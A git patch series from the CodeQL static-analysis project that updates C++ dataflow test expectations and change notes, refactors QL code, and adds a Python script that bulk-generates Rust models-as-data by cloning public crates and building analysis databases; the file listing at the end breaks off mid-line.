.../dataflow/dataflow-tests/localFlow-ir.expected | 2 +- .../dataflow/fields/ir-path-flow.expected | 12 ++++++------ 3 files changed, 14 insertions(+), 14 deletions(-) diff --git a/cpp/ql/test/library-tests/dataflow/asExpr/test.cpp b/cpp/ql/test/library-tests/dataflow/asExpr/test.cpp index 5835abb297dd..c81b86aa8ae3 100644 --- a/cpp/ql/test/library-tests/dataflow/asExpr/test.cpp +++ b/cpp/ql/test/library-tests/dataflow/asExpr/test.cpp @@ -28,13 +28,13 @@ struct S { }; void test_aggregate_literal() { - S s1 = {1, 2}; // $ asExpr=1 asExpr=2 - const S s2 = {3, 4}; // $ asExpr=3 asExpr=4 - S s3 = (S){5, 6}; // $ asExpr=5 asExpr=6 - const S s4 = (S){7, 8}; // $ asExpr=7 asExpr=8 + S s1 = {1, 2}; // $ asExpr=1 asExpr=2 asExpr={...} + const S s2 = {3, 4}; // $ asExpr=3 asExpr=4 asExpr={...} + S s3 = (S){5, 6}; // $ asExpr=5 asExpr=6 asExpr={...} + const S s4 = (S){7, 8}; // $ asExpr=7 asExpr=8 asExpr={...} - S s5 = {.a = 1, .b = 2}; // $ asExpr=1 asExpr=2 + S s5 = {.a = 1, .b = 2}; // $ asExpr=1 asExpr=2 asExpr={...} - int xs[] = {1, 2, 3}; // $ asExpr=1 asExpr=2 asExpr=3 - const int ys[] = {[0] = 4, [1] = 5, [0] = 6}; // $ asExpr=4 asExpr=5 asExpr=6 + int xs[] = {1, 2, 3}; // $ asExpr=1 asExpr=2 asExpr=3 MISSING: asExpr={...} + const int ys[] = {[0] = 4, [1] = 5, [0] = 6}; // $ asExpr=4 asExpr=5 asExpr=6 MISSING: asExpr={...} } \ No newline at end of file diff --git a/cpp/ql/test/library-tests/dataflow/dataflow-tests/localFlow-ir.expected b/cpp/ql/test/library-tests/dataflow/dataflow-tests/localFlow-ir.expected index 513c23e3c6eb..f41def013155 100644 --- a/cpp/ql/test/library-tests/dataflow/dataflow-tests/localFlow-ir.expected +++ b/cpp/ql/test/library-tests/dataflow/dataflow-tests/localFlow-ir.expected @@ -17,7 +17,6 @@ | example.c:17:11:17:16 | *definition of coords | example.c:17:11:17:16 | *definition of coords | | example.c:17:11:17:16 | *definition of coords | example.c:17:11:17:16 | *definition of coords | | example.c:17:11:17:16 | *definition of coords | example.c:24:13:24:18 | *coords | -| example.c:17:11:17:16 | *definition of coords [post update] | example.c:17:11:17:16 | *definition of coords | | example.c:17:11:17:16 | *definition of coords [post update] | example.c:24:13:24:18 | *coords | | example.c:17:11:17:16 | definition of coords | example.c:17:11:17:16 | *definition of coords | | example.c:17:11:17:16 | definition of coords | example.c:17:11:17:16 | definition of coords | @@ -27,6 +26,7 @@ | example.c:17:11:17:16 | definition of coords | example.c:24:13:24:18 | coords | | example.c:17:11:17:16 | definition of coords [post update] | example.c:17:11:17:16 | definition of coords | | example.c:17:11:17:16 | definition of coords [post update] | example.c:24:13:24:18 | coords | +| example.c:17:11:17:16 | {...} | example.c:17:11:17:16 | *definition of coords | | example.c:17:19:17:22 | {...} | example.c:17:19:17:22 | {...} | | example.c:17:21:17:21 | 0 | example.c:17:21:17:21 | 0 | | example.c:19:6:19:6 | *b | example.c:15:37:15:37 | *b | diff --git a/cpp/ql/test/library-tests/dataflow/fields/ir-path-flow.expected b/cpp/ql/test/library-tests/dataflow/fields/ir-path-flow.expected index 43725bb4524e..6852a5dd3cd4 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/ir-path-flow.expected +++ b/cpp/ql/test/library-tests/dataflow/fields/ir-path-flow.expected @@ -863,12 +863,12 @@ edges | struct_init.c:24:10:24:12 | absink output argument [a] | struct_init.c:28:5:28:7 | *& ... [a] | provenance | | | struct_init.c:26:16:26:20 | *definition of outer [nestedAB, a] | struct_init.c:31:8:31:12 | *outer [nestedAB, a] | provenance | | | struct_init.c:26:16:26:20 | *definition of outer [nestedAB, a] | struct_init.c:36:11:36:15 | *outer [nestedAB, a] | provenance | | -| struct_init.c:26:16:26:20 | *definition of outer [post update] [*pointerAB, a] | struct_init.c:33:8:33:12 | *outer [*pointerAB, a] | provenance | | | struct_init.c:26:16:26:20 | *definition of outer [post update] [nestedAB, a] | struct_init.c:26:16:26:20 | *definition of outer [nestedAB, a] | provenance | | +| struct_init.c:26:16:26:20 | {...} [*pointerAB, a] | struct_init.c:33:8:33:12 | *outer [*pointerAB, a] | provenance | | | struct_init.c:26:23:29:3 | *{...} [post update] [a] | struct_init.c:26:16:26:20 | *definition of outer [post update] [nestedAB, a] | provenance | | | struct_init.c:27:7:27:16 | call to user_input | struct_init.c:26:23:29:3 | *{...} [post update] [a] | provenance | | | struct_init.c:27:7:27:16 | call to user_input | struct_init.c:27:7:27:16 | call to user_input | provenance | | -| struct_init.c:28:5:28:7 | *& ... [a] | struct_init.c:26:16:26:20 | *definition of outer [post update] [*pointerAB, a] | provenance | | +| struct_init.c:28:5:28:7 | *& ... [a] | struct_init.c:26:16:26:20 | {...} [*pointerAB, a] | provenance | | | struct_init.c:31:8:31:12 | *outer [nestedAB, a] | struct_init.c:31:14:31:21 | *nestedAB [a] | provenance | | | struct_init.c:31:14:31:21 | *nestedAB [a] | struct_init.c:31:23:31:23 | a | provenance | | | struct_init.c:33:8:33:12 | *outer [*pointerAB, a] | struct_init.c:33:14:33:22 | *pointerAB [a] | provenance | | @@ -879,8 +879,8 @@ edges | struct_init.c:40:13:40:14 | *definition of ab [post update] [a] | struct_init.c:40:13:40:14 | *definition of ab [a] | provenance | | | struct_init.c:40:20:40:29 | call to user_input | struct_init.c:40:13:40:14 | *definition of ab [post update] [a] | provenance | | | struct_init.c:40:20:40:29 | call to user_input | struct_init.c:40:20:40:29 | call to user_input | provenance | | -| struct_init.c:41:16:41:20 | *definition of outer [post update] [*pointerAB, a] | struct_init.c:46:10:46:14 | *outer [*pointerAB, a] | provenance | | -| struct_init.c:43:5:43:7 | *& ... [a] | struct_init.c:41:16:41:20 | *definition of outer [post update] [*pointerAB, a] | provenance | | +| struct_init.c:41:16:41:20 | {...} [*pointerAB, a] | struct_init.c:46:10:46:14 | *outer [*pointerAB, a] | provenance | | +| struct_init.c:43:5:43:7 | *& ... [a] | struct_init.c:41:16:41:20 | {...} [*pointerAB, a] | provenance | | | struct_init.c:46:10:46:14 | *outer [*pointerAB, a] | struct_init.c:46:16:46:24 | *pointerAB [a] | provenance | | | struct_init.c:46:16:46:24 | *pointerAB [a] | struct_init.c:14:24:14:25 | *ab [a] | provenance | | nodes @@ -1773,8 +1773,8 @@ nodes | struct_init.c:24:10:24:12 | *& ... [a] | semmle.label | *& ... [a] | | struct_init.c:24:10:24:12 | absink output argument [a] | semmle.label | absink output argument [a] | | struct_init.c:26:16:26:20 | *definition of outer [nestedAB, a] | semmle.label | *definition of outer [nestedAB, a] | -| struct_init.c:26:16:26:20 | *definition of outer [post update] [*pointerAB, a] | semmle.label | *definition of outer [post update] [*pointerAB, a] | | struct_init.c:26:16:26:20 | *definition of outer [post update] [nestedAB, a] | semmle.label | *definition of outer [post update] [nestedAB, a] | +| struct_init.c:26:16:26:20 | {...} [*pointerAB, a] | semmle.label | {...} [*pointerAB, a] | | struct_init.c:26:23:29:3 | *{...} [post update] [a] | semmle.label | *{...} [post update] [a] | | struct_init.c:27:7:27:16 | call to user_input | semmle.label | call to user_input | | struct_init.c:27:7:27:16 | call to user_input | semmle.label | call to user_input | @@ -1791,7 +1791,7 @@ nodes | struct_init.c:40:13:40:14 | *definition of ab [post update] [a] | semmle.label | *definition of ab [post update] [a] | | struct_init.c:40:20:40:29 | call to user_input | semmle.label | call to user_input | | struct_init.c:40:20:40:29 | call to user_input | semmle.label | call to user_input | -| struct_init.c:41:16:41:20 | *definition of outer [post update] [*pointerAB, a] | semmle.label | *definition of outer [post update] [*pointerAB, a] | +| struct_init.c:41:16:41:20 | {...} [*pointerAB, a] | semmle.label | {...} [*pointerAB, a] | | struct_init.c:43:5:43:7 | *& ... [a] | semmle.label | *& ... [a] | | struct_init.c:46:10:46:14 | *outer [*pointerAB, a] | semmle.label | *outer [*pointerAB, a] | | struct_init.c:46:16:46:24 | *pointerAB [a] | semmle.label | *pointerAB [a] | From f731d0e630d9cfe9fc1773e41c88f6394d2e61ec Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Thu, 15 May 2025 17:39:51 +0100 Subject: [PATCH 160/535] C++: Add change note. --- .../lib/change-notes/2025-05-15-class-aggregate-literals.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 cpp/ql/lib/change-notes/2025-05-15-class-aggregate-literals.md diff --git a/cpp/ql/lib/change-notes/2025-05-15-class-aggregate-literals.md b/cpp/ql/lib/change-notes/2025-05-15-class-aggregate-literals.md new file mode 100644 index 000000000000..ea821d7d48d6 --- /dev/null +++ b/cpp/ql/lib/change-notes/2025-05-15-class-aggregate-literals.md @@ -0,0 +1,4 @@ +--- +category: fix +--- +* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ClassAggregateLiteral`s. \ No newline at end of file From d31ddad832d8a451b3937a9a83103c9f8586e0f2 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Thu, 15 May 2025 18:04:57 +0100 Subject: [PATCH 161/535] C++: Small refactoring. --- .../code/cpp/ir/dataflow/internal/DataFlowPrivate.qll | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll index f0a0fd7cdb39..073d7a4bbc9b 100644 --- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll +++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll @@ -1143,6 +1143,10 @@ private newtype TDataFlowCall = FlowSummaryImpl::Private::summaryCallbackRange(c, receiver) } +private predicate summarizedCallableIsManual(SummarizedCallable sc) { + sc.asSummarizedCallable().applyManualModel() +} + /** * A function call relevant for data flow. This includes calls from source * code and calls inside library callables with a flow summary. @@ -1178,13 +1182,13 @@ class DataFlowCall extends TDataFlowCall { // target not exists(SummarizedCallable sc | sc.asSummarizedCallable() = target and - sc.asSummarizedCallable().applyManualModel() + summarizedCallableIsManual(sc) ) and result.asSourceCallable() = target or // When there is no function body, or when we have a manual model then // we dispatch to the summary. - (not target.hasDefinition() or result.asSummarizedCallable().applyManualModel()) and + (not target.hasDefinition() or summarizedCallableIsManual(result)) and result.asSummarizedCallable() = target ) } From 8521becbd57d51abd00869a399b057c4871ec2e2 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Thu, 15 May 2025 20:40:41 +0200 Subject: [PATCH 162/535] Rust: Fix semantic merge conflict --- rust/ql/test/extractor-tests/macro_expansion/PrintAst.expected | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rust/ql/test/extractor-tests/macro_expansion/PrintAst.expected b/rust/ql/test/extractor-tests/macro_expansion/PrintAst.expected index 43410dfcd8e4..3881faafeac4 100644 --- a/rust/ql/test/extractor-tests/macro_expansion/PrintAst.expected +++ b/rust/ql/test/extractor-tests/macro_expansion/PrintAst.expected @@ -110,7 +110,7 @@ macro_expansion.rs: # 2| getPath(): [Path] foo # 2| getSegment(): [PathSegment] foo # 2| getIdentifier(): [NameRef] foo -# 1| getTailExpr(): [LiteralExpr] 0 +# 1| getTailExpr(): [IntegerLiteralExpr] 0 # 1| getName(): [Name] foo___rust_ctor___ctor # 1| getRetType(): [RetTypeRepr] RetTypeRepr # 1| getTypeRepr(): [PathTypeRepr] usize From e11ab0f125458f76567329733fbb010c75bf2419 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 16 May 2025 12:06:25 +0100 Subject: [PATCH 163/535] Update cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/ExprNodes.qll Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> --- cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/ExprNodes.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/ExprNodes.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/ExprNodes.qll index 146967fa6538..5514bd80eeec 100644 --- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/ExprNodes.qll +++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/ExprNodes.qll @@ -269,7 +269,7 @@ private module Cached { * ``` * i.getUnconvertedResultExpression() instanceof ClassAggregateLiteral * ``` - * and thus we don't automaticallt get a dataflow node for which: + * and thus we don't automatically get a dataflow node for which: * ``` * node.asExpr() instanceof ClassAggregateLiteral * ``` From d66c12b7a928f515218b3b15bfbf977447e63b00 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Thu, 15 May 2025 15:19:55 +0200 Subject: [PATCH 164/535] Rust: Add MaD bulk generation script --- .gitignore | 1 + Cargo.toml | 1 + .../models-as-data/rust_bulk_generate_mad.py | 335 ++++++++++++++++++ 3 files changed, 337 insertions(+) create mode 100644 misc/scripts/models-as-data/rust_bulk_generate_mad.py diff --git a/.gitignore b/.gitignore index f621d5ed0484..bbb60c3eccd4 100644 --- a/.gitignore +++ b/.gitignore @@ -62,6 +62,7 @@ node_modules/ # Temporary folders for working with generated models .model-temp +/mad-generation-build # bazel-built in-tree extractor packs /*/extractor-pack diff --git a/Cargo.toml b/Cargo.toml index d74066772488..38487d3b858f 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -10,6 +10,7 @@ members = [ "rust/ast-generator", "rust/autobuild", ] +exclude = ["mad-generation-build"] [patch.crates-io] # patch for build script bug preventing bazel build diff --git a/misc/scripts/models-as-data/rust_bulk_generate_mad.py b/misc/scripts/models-as-data/rust_bulk_generate_mad.py new file mode 100644 index 000000000000..76d67b1fba15 --- /dev/null +++ b/misc/scripts/models-as-data/rust_bulk_generate_mad.py @@ -0,0 +1,335 @@ +""" +Experimental script for bulk generation of MaD models based on a list of projects. + +Currently the script only targets Rust. +""" + +import os.path +import subprocess +import sys +from typing import NotRequired, TypedDict, List +from concurrent.futures import ThreadPoolExecutor, as_completed +import time + +import generate_mad as mad + +gitroot = ( + subprocess.check_output(["git", "rev-parse", "--show-toplevel"]) + .decode("utf-8") + .strip() +) +build_dir = os.path.join(gitroot, "mad-generation-build") + + +def path_to_mad_directory(language: str, name: str) -> str: + return os.path.join(gitroot, f"{language}/ql/lib/ext/generated/{name}") + + +# A project to generate models for +class Project(TypedDict): + """ + Type definition for Rust projects to model. + + Attributes: + name: The name of the project + git_repo: URL to the git repository + git_tag: Optional Git tag to check out + """ + + name: str + git_repo: str + git_tag: NotRequired[str] + + +# List of Rust projects to generate models for. +projects: List[Project] = [ + { + "name": "libc", + "git_repo": "https://github.com/rust-lang/libc", + "git_tag": "0.2.172", + }, + { + "name": "log", + "git_repo": "https://github.com/rust-lang/log", + "git_tag": "0.4.27", + }, + { + "name": "memchr", + "git_repo": "https://github.com/BurntSushi/memchr", + "git_tag": "2.7.4", + }, + { + "name": "once_cell", + "git_repo": "https://github.com/matklad/once_cell", + "git_tag": "v1.21.3", + }, + { + "name": "rand", + "git_repo": "https://github.com/rust-random/rand", + "git_tag": "0.9.1", + }, + { + "name": "smallvec", + "git_repo": "https://github.com/servo/rust-smallvec", + "git_tag": "v1.15.0", + }, + { + "name": "serde", + "git_repo": "https://github.com/serde-rs/serde", + "git_tag": "v1.0.219", + }, + { + "name": "tokio", + "git_repo": "https://github.com/tokio-rs/tokio", + "git_tag": "tokio-1.45.0", + }, + { + "name": "reqwest", + "git_repo": "https://github.com/seanmonstar/reqwest", + "git_tag": "v0.12.15", + }, + { + "name": "rocket", + "git_repo": "https://github.com/SergioBenitez/Rocket", + "git_tag": "v0.5.1", + }, + { + "name": "actix-web", + "git_repo": "https://github.com/actix/actix-web", + "git_tag": "web-v4.11.0", + }, + { + "name": "hyper", + "git_repo": "https://github.com/hyperium/hyper", + "git_tag": "v1.6.0", + }, + { + "name": "clap", + "git_repo": "https://github.com/clap-rs/clap", + "git_tag": "v4.5.38", + }, +] + + +def clone_project(project: Project) -> str: + """ + Shallow clone a project into the build directory. + + Args: + project: A dictionary containing project information with 'name', 'git_repo', and optional 'git_tag' keys. + + Returns: + The path to the cloned project directory. + """ + name = project["name"] + repo_url = project["git_repo"] + git_tag = project.get("git_tag") + + # Determine target directory + target_dir = os.path.join(build_dir, name) + + # Clone only if directory doesn't already exist + if not os.path.exists(target_dir): + if git_tag: + print(f"Cloning {name} from {repo_url} at tag {git_tag}") + else: + print(f"Cloning {name} from {repo_url}") + + subprocess.check_call( + [ + "git", + "clone", + "--quiet", + "--depth", + "1", # Shallow clone + *( + ["--branch", git_tag] if git_tag else [] + ), # Add branch if tag is provided + repo_url, + target_dir, + ] + ) + print(f"Completed cloning {name}") + else: + print(f"Skipping cloning {name} as it already exists at {target_dir}") + + return target_dir + + +def clone_projects(projects: List[Project]) -> List[tuple[Project, str]]: + """ + Clone all projects in parallel. + + Args: + projects: List of projects to clone + + Returns: + List of (project, project_dir) pairs in the same order as the input projects + """ + start_time = time.time() + max_workers = min(8, len(projects)) # Use at most 8 threads + project_dirs_map = {} # Map to store results by project name + + with ThreadPoolExecutor(max_workers=max_workers) as executor: + # Start cloning tasks and keep track of them + future_to_project = { + executor.submit(clone_project, project): project for project in projects + } + + # Process results as they complete + for future in as_completed(future_to_project): + project = future_to_project[future] + try: + project_dir = future.result() + project_dirs_map[project["name"]] = (project, project_dir) + except Exception as e: + print(f"ERROR: Failed to clone {project['name']}: {e}") + + if len(project_dirs_map) != len(projects): + failed_projects = [ + project["name"] + for project in projects + if project["name"] not in project_dirs_map + ] + print( + f"ERROR: Only {len(project_dirs_map)} out of {len(projects)} projects were cloned successfully. Failed projects: {', '.join(failed_projects)}" + ) + sys.exit(1) + + project_dirs = [project_dirs_map[project["name"]] for project in projects] + + clone_time = time.time() - start_time + print(f"Cloning completed in {clone_time:.2f} seconds") + return project_dirs + + +def build_database(project: Project, project_dir: str) -> str | None: + """ + Build a CodeQL database for a project. + + Args: + project: A dictionary containing project information with 'name' and 'git_repo' keys. + project_dir: The directory containing the project source code. + + Returns: + The path to the created database directory. + """ + name = project["name"] + + # Create database directory path + database_dir = os.path.join(build_dir, f"{name}-db") + + # Only build the database if it doesn't already exist + if not os.path.exists(database_dir): + print(f"Building CodeQL database for {name}...") + try: + subprocess.check_call( + [ + "codeql", + "database", + "create", + "--language=rust", + "--source-root=" + project_dir, + "--overwrite", + "-O", + "cargo_features='*'", + "--", + database_dir, + ] + ) + print(f"Successfully created database at {database_dir}") + except subprocess.CalledProcessError as e: + print(f"Failed to create database for {name}: {e}") + return None + else: + print( + f"Skipping database creation for {name} as it already exists at {database_dir}" + ) + + return database_dir + + +def generate_models(project: Project, database_dir: str) -> None: + """ + Generate models for a project. + + Args: + project: A dictionary containing project information with 'name' and 'git_repo' keys. + project_dir: The directory containing the project source code. + """ + name = project["name"] + + generator = mad.Generator("rust") + generator.generateSinks = True + generator.generateSources = True + generator.generateSummaries = True + generator.setenvironment(database=database_dir, folder=name) + generator.run() + + +def main() -> None: + """ + Process all projects in three distinct phases: + 1. Clone projects (in parallel) + 2. Build databases for projects + 3. Generate models for successful database builds + """ + + # Create build directory if it doesn't exist + if not os.path.exists(build_dir): + os.makedirs(build_dir) + + # Check if any of the MaD directories contain working directory changes in git + for project in projects: + mad_dir = path_to_mad_directory("rust", project["name"]) + if os.path.exists(mad_dir): + git_status_output = subprocess.check_output( + ["git", "status", "-s", mad_dir], text=True + ).strip() + if git_status_output: + print( + f"""ERROR: Working directory changes detected in {mad_dir}. + +Before generating new models, the existing models are deleted. + +To avoid loss of data, please commit your changes.""" + ) + sys.exit(1) + + # Phase 1: Clone projects in parallel + print("=== Phase 1: Cloning projects ===") + project_dirs = clone_projects(projects) + + # Phase 2: Build databases for all projects + print("\n=== Phase 2: Building databases ===") + database_results = [ + (project, build_database(project, project_dir)) + for project, project_dir in project_dirs + ] + + # Phase 3: Generate models for all projects + print("\n=== Phase 3: Generating models ===") + + failed_builds = [ + project["name"] for project, db_dir in database_results if db_dir is None + ] + if failed_builds: + print( + f"ERROR: {len(failed_builds)} database builds failed: {', '.join(failed_builds)}" + ) + sys.exit(1) + + # Delete the MaD directory for each project + for project, database_dir in database_results: + mad_dir = path_to_mad_directory("rust", project["name"]) + if os.path.exists(mad_dir): + print(f"Deleting existing MaD directory at {mad_dir}") + subprocess.check_call(["rm", "-rf", mad_dir]) + + for project, database_dir in database_results: + if database_dir is not None: + generate_models(project, database_dir) + + +if __name__ == "__main__": + main() From 9ee3e4cdf3a5f0ee5df1fe81e7ec8b5af2abf6d0 Mon Sep 17 00:00:00 2001 From: Taus Date: Fri, 16 May 2025 13:50:22 +0200 Subject: [PATCH 165/535] Python: Update change note Co-authored-by: yoff --- .../change-notes/2025-04-30-extract-hidden-files-by-default.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/ql/lib/change-notes/2025-04-30-extract-hidden-files-by-default.md b/python/ql/lib/change-notes/2025-04-30-extract-hidden-files-by-default.md index 32b272215af7..fcbb0a209ce6 100644 --- a/python/ql/lib/change-notes/2025-04-30-extract-hidden-files-by-default.md +++ b/python/ql/lib/change-notes/2025-04-30-extract-hidden-files-by-default.md @@ -2,4 +2,4 @@ category: minorAnalysis --- -- The Python extractor now extracts files in hidden directories by default. If you would like to skip hidden files, add `paths-ignore: ["**/.*/**"]` to your [Code Scanning config](https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#specifying-directories-to-scan). When using the CodeQL CLI for extraction, specify the configuration (creating the configuration file if necessary) using the `--codescanning-config` option. +- The Python extractor now extracts files in hidden directories by default. If you would like to skip files in hidden directories, add `paths-ignore: ["**/.*/**"]` to your [Code Scanning config](https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#specifying-directories-to-scan). If you would like to skip all hidden files, you can use `paths-ignore: ["**/.*"]`. When using the CodeQL CLI for extraction, specify the configuration (creating the configuration file if necessary) using the `--codescanning-config` option. From fb8b79edbf6f9f5bdd36e6ff2d5bf62a40f21383 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Thu, 15 May 2025 15:22:32 +0200 Subject: [PATCH 166/535] Rust: Skip model generation for functions with semicolon in canonical path --- .../src/utils/modelgenerator/internal/CaptureModels.qll | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/rust/ql/src/utils/modelgenerator/internal/CaptureModels.qll b/rust/ql/src/utils/modelgenerator/internal/CaptureModels.qll index f9b4eee664d6..58f90cc33a0d 100644 --- a/rust/ql/src/utils/modelgenerator/internal/CaptureModels.qll +++ b/rust/ql/src/utils/modelgenerator/internal/CaptureModels.qll @@ -15,9 +15,15 @@ private predicate relevant(Function api) { // Only include functions that have a resolved path. api.hasCrateOrigin() and api.hasExtendedCanonicalPath() and + // A canonical path can contain `;` as the syntax for array types use `;`. For + // instance `<[Foo; 1] as Bar>::baz`. This does not work with the shared model + // generator and it is not clear if this will also be the case when we move to + // QL created canoonical paths, so for now we just exclude functions with + // `;`s. + not exists(api.getExtendedCanonicalPath().indexOf(";")) and ( // This excludes closures (these are not exported API endpoints) and - // functions without a `pub` visiblity. A function can be `pub` without + // functions without a `pub` visibility. A function can be `pub` without // ultimately being exported by a crate, so this is an overapproximation. api.hasVisibility() or From 41e76e20b536fae2d69743d4d4d723af014df04e Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Fri, 16 May 2025 13:36:56 +0200 Subject: [PATCH 167/535] Rust: Add models auto-generated in bulk --- ....com-actix-actix-web-actix-files.model.yml | 58 ++ ...-actix-actix-web-actix-http-test.model.yml | 40 + ...b.com-actix-actix-web-actix-http.model.yml | 227 ++++++ ...-actix-actix-web-actix-multipart.model.yml | 43 + ...com-actix-actix-web-actix-router.model.yml | 35 + ...b.com-actix-actix-web-actix-test.model.yml | 60 ++ ...actix-actix-web-actix-web-actors.model.yml | 21 + ...ctix-actix-web-actix-web-codegen.model.yml | 25 + ...ub.com-actix-actix-web-actix-web.model.yml | 385 +++++++++ ...s-github.com-actix-actix-web-awc.model.yml | 226 ++++++ ...tps-github.com-clap-rs-clap-clap.model.yml | 17 + ...thub.com-clap-rs-clap-clap_bench.model.yml | 10 + ...ub.com-clap-rs-clap-clap_builder.model.yml | 394 +++++++++ ...b.com-clap-rs-clap-clap_complete.model.yml | 78 ++ ...ap-rs-clap-clap_complete_nushell.model.yml | 13 + ...hub.com-clap-rs-clap-clap_derive.model.yml | 55 ++ ...github.com-clap-rs-clap-clap_lex.model.yml | 11 + ...hub.com-clap-rs-clap-clap_mangen.model.yml | 19 + ...-github.com-hyperium-hyper-hyper.model.yml | 254 ++++++ ...hub.com-rust-lang-libc-libc-test.model.yml | 19 + ...s-github.com-rust-lang-libc-libc.model.yml | 28 + ...tps-github.com-rust-lang-log-log.model.yml | 59 ++ ...hub.com-BurntSushi-memchr-memchr.model.yml | 168 ++++ .../generated/memchr/repo-shared.model.yml | 27 + ....com-matklad-once_cell-once_cell.model.yml | 21 + .../ext/generated/rand/repo-benches.model.yml | 9 + ...github.com-rust-random-rand-rand.model.yml | 63 ++ ...com-rust-random-rand-rand_chacha.model.yml | 16 + ...b.com-rust-random-rand-rand_core.model.yml | 15 + ...ub.com-rust-random-rand-rand_pcg.model.yml | 10 + ....com-seanmonstar-reqwest-reqwest.model.yml | 378 ++++++++- ...ps-github.com-rwf2-Rocket-rocket.model.yml | 481 +++++++++++ ...b.com-rwf2-Rocket-rocket_codegen.model.yml | 62 ++ ...thub.com-rwf2-Rocket-rocket_http.model.yml | 215 +++++ ...contrib-db_pools-rocket_db_pools.model.yml | 14 + ...n_templates-rocket_dyn_templates.model.yml | 22 + ...nc_db_pools-rocket_sync_db_pools.model.yml | 10 + ...t-tree-v0.5-contrib-ws-rocket_ws.model.yml | 12 + .../generated/rocket/repo-pastebin.model.yml | 8 + .../ext/generated/rocket/repo-tls.model.yml | 7 + .../ext/generated/rocket/repo-todo.model.yml | 7 + ...-github.com-serde-rs-serde-serde.model.yml | 207 +++++ ....com-serde-rs-serde-serde_derive.model.yml | 79 ++ .../serde/repo-serde_test_suite.model.yml | 33 + ...com-servo-rust-smallvec-smallvec.model.yml | 42 + .../generated/tokio/repo-benches.model.yml | 7 + ....com-tokio-rs-tokio-tokio-macros.model.yml | 10 + ....com-tokio-rs-tokio-tokio-stream.model.yml | 90 +++ ...ub.com-tokio-rs-tokio-tokio-test.model.yml | 24 + ...ub.com-tokio-rs-tokio-tokio-util.model.yml | 206 +++++ ...-github.com-tokio-rs-tokio-tokio.model.yml | 752 ++++++++++++++++++ .../dataflow/local/DataFlowStep.expected | 498 ++++++++++++ 52 files changed, 5568 insertions(+), 2 deletions(-) create mode 100644 rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-files.model.yml create mode 100644 rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http-test.model.yml create mode 100644 rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http.model.yml create mode 100644 rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-multipart.model.yml create mode 100644 rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-router.model.yml create mode 100644 rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-test.model.yml create mode 100644 rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-actors.model.yml create mode 100644 rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-codegen.model.yml create mode 100644 rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web.model.yml create mode 100644 rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-awc.model.yml create mode 100644 rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap.model.yml create mode 100644 rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_bench.model.yml create mode 100644 rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_builder.model.yml create mode 100644 rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_complete.model.yml create mode 100644 rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_complete_nushell.model.yml create mode 100644 rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_derive.model.yml create mode 100644 rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_lex.model.yml create mode 100644 rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_mangen.model.yml create mode 100644 rust/ql/lib/ext/generated/hyper/repo-https-github.com-hyperium-hyper-hyper.model.yml create mode 100644 rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc-test.model.yml create mode 100644 rust/ql/lib/ext/generated/libc/repo-https-github.com-rust-lang-libc-libc.model.yml create mode 100644 rust/ql/lib/ext/generated/log/repo-https-github.com-rust-lang-log-log.model.yml create mode 100644 rust/ql/lib/ext/generated/memchr/repo-https-github.com-BurntSushi-memchr-memchr.model.yml create mode 100644 rust/ql/lib/ext/generated/memchr/repo-shared.model.yml create mode 100644 rust/ql/lib/ext/generated/once_cell/repo-https-github.com-matklad-once_cell-once_cell.model.yml create mode 100644 